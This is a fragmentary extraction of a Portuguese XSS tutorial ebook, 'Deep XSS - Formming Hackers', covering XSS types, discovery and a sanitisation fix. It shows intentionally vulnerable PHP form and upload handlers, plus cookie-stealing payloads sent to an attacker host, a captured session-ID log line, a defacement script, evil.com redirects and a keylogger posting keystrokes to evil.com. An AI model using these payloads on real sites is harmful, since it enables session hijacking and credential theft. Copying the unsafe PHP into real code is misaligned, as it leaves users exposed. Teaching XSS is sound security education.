Deep XSS - Formming Hackers
Deep XSS - Formming Hackers
Deep XSS - Formming Hackers
maneira profunda.
F
FOORRMMMMIINNGG
H
HAACCKKEERRSS
(Ismael Oliveira)
(1) O QUE É XSS
(2) COMO
ENCONTRAR XSS
Observe a tradução:
Observe:
Então:
Site => Domínio
Scripts WEB
Sim! Exatamente!
Bingo!
Vulnerabilidade Social -
https://pt.wikipedia.org/wiki/Vulner
abilidade_social
Adulto Vulnerável -
https://en.wikipedia.org/wiki/Vulner
able_adult
Espécies Vulneráveis -
https://en.wikipedia.org/wiki/Vulner
able_species
Vulnerabilidade em Computador -
https://en.wikipedia.org/wiki/Vulner
ability_(computing)
Ou seja:
<script>alert(1)</script>
Pense:
Quando você faz essa injeção de
<script>alert(1)</script> em um site
e esse código é executado, você está
deixando aquele site vulnerável ou
está tirando proveito desta situação
que é ele te deixar escrever
caracteres especiais como >/< que
com isto você consegue injetar tag
de <script>?
Advinha...
Observe novamente:
Código HTML:
<!DOCTYPE html>
<html lang="pt-br">
<head>
<title>vuln</title>
<meta charset="utf-8">
</head>
<body>
<h1>Eu sou vulnerável</h1>
<form method="GET"
action="dados.php">
<label for="_n">Digite seu nome:
</label>
<input type="text" id="_n"
name="_nome">
<input type="submit">
</body>
</html>
Código PHP:
<?php
$nomeDaPessoa=$_GET['_nome'];
?>
form.html
dados.php
Código HTML:
<!DOCTYPE html>
<html lang="pt-br">
<head>
</head>
<body>
<h1>Sou vulnerável</h1>
<form action="up.php"
method="post"
enctype="multipart/form-data">
</form>
</body>
</html>
Código PHP:
<?php
$arquivo = $_FILES['upfile']['name'];
$pasta = "up/";
move_uploaded_file($_FILES['upfile']
['tmp_name'], $pasta.$arquivo);
?>
Script Injection
É muito comum as pessoas
confundirem Script Injection com
"Cross Site Scripting", isto porque
tem certas semelhanças, ok, legal,
mas o que é Script Injection?
veja:
HTML Injection
https://owasp.org/www-project-
web-security-testing-guide/latest/4-
Web_Application_Security_Testing/1
1-Client-side_Testing/03-
Testing_for_HTML_Injection
CSS Injection
https://owasp.org/www-project-
web-security-testing-guide/v41/4-
Web_Application_Security_Testing/1
1-Client_Side_Testing/05-
Testing_for_CSS_Injection
R: Sim!
TIPOS DE XSS
Vejamos:
XSS REFLETIDO
SELF XSS
Na realidade dependendo do
contexto onde você está, você ainda
consegue demonstrar um certo
impacto com este problema de SELF-
XSS, posso dar um exemplo, veja:
<script>
var xml= new XMLHttpRequest();
xml.open('GET','https://apifacebook')
;
xml.send();
xml.onreadystatechange = function()
{
if(xml.readyState == 4 &&
xml.status == 200){
document.write(xml.response);
}
}
</script>
Injetando este código malicioso no
ambiente /vulnerável/ a SELF-XSS
que neste caso de exemplo é o
subdomínio do facebook, etão este
script será executado em
subdominio.facebook.com e ao
mesmo tempo irá interagir com
outro domínio/site que neste caso é
a api do facebook, BINGO! Cross Site
Scripting! (self).
Link: https://facebook.com/selfxss
XSS STORAGE/ARMAZENADO
Os comentários em publicações do
Facebook são armazenados, veja que
se você fizer um comentário em um
publicação hoje, pode passar 1 ano, 2
anos, 10 anos e ele ainda vai estar lá.
Observe também que este seu
comentário está visivelmente por
um navegador da web, então o que
pode acontecer se ao invés de você
escrever um comentário normal,
você injetar algum código de script
malicioso?
BLIND XSS
Referência:
https://www.acunetix.com/blog/arti
cles/universal-cross-site-scripting-
uxss/
Link: https://owasp.org/www-
community/Types_of_Cross-
Site_Scripting
COMO
CORRIGIR XSS
Com todo o conhecimento adquirido
durante esta leitura do ebook,
pensamos: Como podemos corrigir
XSS?
Solução:
Filtros de Sanitização:
https://www.php.net/manual/pt_BR/
filter.filters.sanitize.php
<?php
$nomeDaPessoa=filter_input(INPUT_
GET, '_nome',
FILTER_SANITIZE_SPECIAL_CHARS);
?>
Veja:
CWE-434
https://cwe.mitre.org/data/definitio
ns/434.html
<script>
var imag=new Image;
imag.src="https://sitedohacker"+doc
ument.cookie;
</script>
Detalhe:
<script>
var imag=new Image;
imag.src="https://sitedohacker"%2B
document.cookie;
</script>
127.0.0.1 - - [08/Dec/2022:14:49:20
-0300] "GET /?
cookie=PHPSESSID=df1d9b14a9309a4
7cad4f98c73f3e748 HTTP/1.1" 302
Podemos variar este exploit
apresentado anteriormente,
observe:
<img
src="https://image.freepik.com/pre
mium-photo/hacker-with-laptop_23-
2147985341.jpg" onmouseover="var
imag=new Image;
imag.src='https://linkdositedohacke
r/?cookie='+document.cookie">
<img
src="https://image.freepik.com/pre
mium-photo/hacker-with-laptop_23-
2147985341.jpg" onmouseover="var
imag=new Image;
imag.src='https://linkdositedohacke
r/?cookie='+document.cookie">
<script>document.body.innerHTML="
<marquee><h1 style='color:
red;'>Hack3d by ForMm1nG
H4ck3rs</h1></marquee>";</script>
<script>document.location='https://
evil.com';</script>
Link: https://owasp.org/www-
community/attacks/Cross_Frame_Sc
ripting
document.onkeypress = function() {
keystrokes.push(window.event.key
Code);
}
second
setInterval(function() {
if (keystrokes.length) {
var xhr = newXHR();
xhr.open("POST",
"http://evil.com/k");
xhr.send(keystrokes.join("+"));
}
keystrokes = [];
}, 1000);
function newXHR() {
if (window.XMLHttpRequest)
return new XMLHttpRequest();
return new
ActiveXObject("MSXML2.XMLHTTP.3.
0");
}
</script>
</head>
<frameset onload="this.focus()"
onblur="this.focus()">
<frame
src="http://example.com/login.html
">
</frameset>
Por exemplo:
<formmingHackers
onclick="document.location='https:/
/evil.com'">Texto
Aleatório</formmingHackers>
Interessante não é? :)
LinkeDin:
https://linkedin.com/in/ismaelolivei
rapro/